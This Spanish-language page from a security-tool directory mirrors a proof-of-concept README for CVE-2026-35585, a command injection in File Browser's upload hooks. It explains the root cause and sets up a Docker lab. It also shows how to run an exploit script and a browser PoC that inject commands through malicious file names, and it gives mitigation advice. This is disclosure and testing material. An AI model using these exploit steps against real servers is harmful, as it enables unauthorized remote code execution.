Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-35585-poc — Exploit de prueba de concepto para CVE-2026-35585, una vulnerabilidad de inyección de comandos del sistema operativo en File Browser (versiones 2.0.0 a 2.33.1). Incluye scripts de PoC basados en Python y en navegador para ejecución remota de código a través de cargas de archivos maliciosos. | Kitploit
Herramientas/GitHubGitHub/saku0512/cve-2026-35585-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHubsaku0512/cve-2026-35585-poc

CVE-2026-35585-poc

Ver Repositorio
4hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Exploit de prueba de concepto para CVE-2026-35585, una vulnerabilidad de inyección de comandos del sistema operativo en File Browser (versiones 2.0.0 a 2.33.1). Incluye scripts de PoC basados en Python y en navegador para ejecución remota de código a través de cargas de archivos maliciosos.

Compartir

CVE-2026-35585: PoC de Inyección de Comandos del Sistema Operativo en File Browser

English version

Resumen

Este repositorio es una Prueba de Concepto (PoC) de la grave vulnerabilidad de inyección de comandos del sistema operativo CVE-2026-35585 encontrada en File Browser (versiones 2.0.0 a 2.33.1).

Esta vulnerabilidad reside en la funcionalidad 'Custom Command Hooks'. Al ejecutarse en el shell, las variables de entorno como $FILE o $USERNAME no se sanitizan adecuadamente, por lo que un usuario autenticado con permisos de carga de archivos podría ejecutar comandos arbitrarios en el sistema host utilizando nombres de archivo maliciosos.

Descubridor: saku0512 (https://github.com/Saku0512)


⚠️ Aviso de exención de responsabilidad

Este proyecto debe utilizarse únicamente con fines educativos y de pruebas de seguridad éticas.

El autor no se hace responsable del uso indebido, daños o actividades ilegales derivadas de esta herramienta. El acceso no autorizado a sistemas informáticos es ilegal. Al utilizar este software, usted acepta realizar pruebas de seguridad únicamente en entornos para los que tenga autorización explícita.


Detalles de la vulnerabilidad

  • CVE ID: CVE-2026-35585
  • Tipo: Inyección de comandos del sistema operativo (CWE-78)
  • Impacto: Ejecución remota de código (RCE)
  • Versiones afectadas: v2.0.0 <= File Browser <= v2.33.1
  • Versión corregida: v2.33.8

Causa raíz

En File Browser, los administradores pueden configurar hooks como 'After Upload'. Cuando estos hooks se ejecutan, la aplicación ejecuta un comando shell y reemplaza variables como $FILE por el nombre real del archivo. Si el nombre del archivo contiene caracteres meta del shell como ;, &, |, no se escapan adecuadamente y se ejecutan en el shell del sistema.


Prueba de Concepto (Uso)

Esta sección describe los pasos para reproducir la ejecución remota de código (RCE) utilizando el entorno proporcionado y el script de explotación.

1. Configuración del entorno e inicialización

Utilice Docker Compose para iniciar el entorno vulnerable (File Browser v2.33.1). Como data/filebrowser.db no existe la primera vez, primero inicialice la base de datos de File Browser y configure los hooks.

# data ディレクトリに適切な権限を設定
mkdir -p data && sudo chown -R 1000:1000 data

# DBを初期化
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config init --database /database/filebrowser.db

# admin / admin ユーザーを追加
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users add admin admin --perm.admin --database /database/filebrowser.db

# shell に "sh -c" を設定
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config set --shell "sh -c" --database /database/filebrowser.db

# After Upload コマンドを追加
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser cmds add after_upload 'echo Uploaded: $FILE' --database /database/filebrowser.db

# コンテナを起動
docker compose up -d

Si data/filebrowser.db ya existe, no es necesario config init. Si ya existe el usuario admin, restablezca la contraseña con el siguiente comando en lugar de users add:

docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users update admin --password admin --database /database/filebrowser.db

Si desea modificar la configuración de hooks después de haber iniciado el contenedor, ejecute docker compose stop para evitar bloqueos de SQLite, luego ejecute los comandos de configuración y finalmente docker compose start.

2. Ejecución del exploit

Ejecute el script exploit.py para automatizar el inicio de sesión y la carga de un archivo malicioso. El siguiente comando intenta crear un archivo llamado pwned_rce_test en el directorio /tmp del contenedor.

# 依存関係をインストール
pip install requests

# exploit を実行
python3 exploit.py -t http://localhost:8080 -u admin -p admin -c "touch /tmp/pwned_rce_test"

3. Verificación

Compruebe si el archivo se ha creado dentro del contenedor para verificar que el comando se ejecutó correctamente.

docker exec -it cve-2026-35585-vuln-app ls -l /tmp/pwned_rce_test

Si el archivo existe, se confirma la RCE.


PoC en navegador (con guía)

El exploit.py existente se puede usar tal cual. Si desea una experiencia más interactiva con File Browser, puede utilizar la guía PoC incluida para el navegador.

1. Inicie File Browser y configure los hooks

Ejecute la sección '1. Configuración del entorno e inicialización' anterior y asegúrese de poder iniciar sesión en File Browser en http://localhost:8080.

2. Inicie la guía PoC del navegador

python3 browser_poc.py

Abra lo siguiente en su navegador:

http://127.0.0.1:8090/

3. Siga la guía para verificar

  1. Target: Verifique la accesibilidad de http://localhost:8080.
  2. Login: Inicie sesión con admin / admin y obtenga el token de la API de File Browser.
  3. Payload: Por defecto genera un payload en el nombre de archivo que ejecuta id > /srv/pwned_browser_rce.txt.
  4. Trigger: Cargue un archivo con nombre malicioso para activar el hook After Upload.
  5. Verify: Lea /srv/pwned_browser_rce.txt a través de la API de File Browser y verifique el resultado de la RCE en pantalla.

Dado que /srv está montado en este repositorio en docker-compose.yml, si tiene éxito, el archivo pwned_browser_rce.txt también se creará en el host.


Mitigación

Actualice File Browser a la versión 2.33.8 o superior. En la versión corregida, la funcionalidad de hooks está deshabilitada por defecto y la expansión de variables se maneja de forma más segura.


Enlaces de referencia

  • CVE-2026-35585 (cve.org)
  • Official GitHub Advisory
Descargar herramienta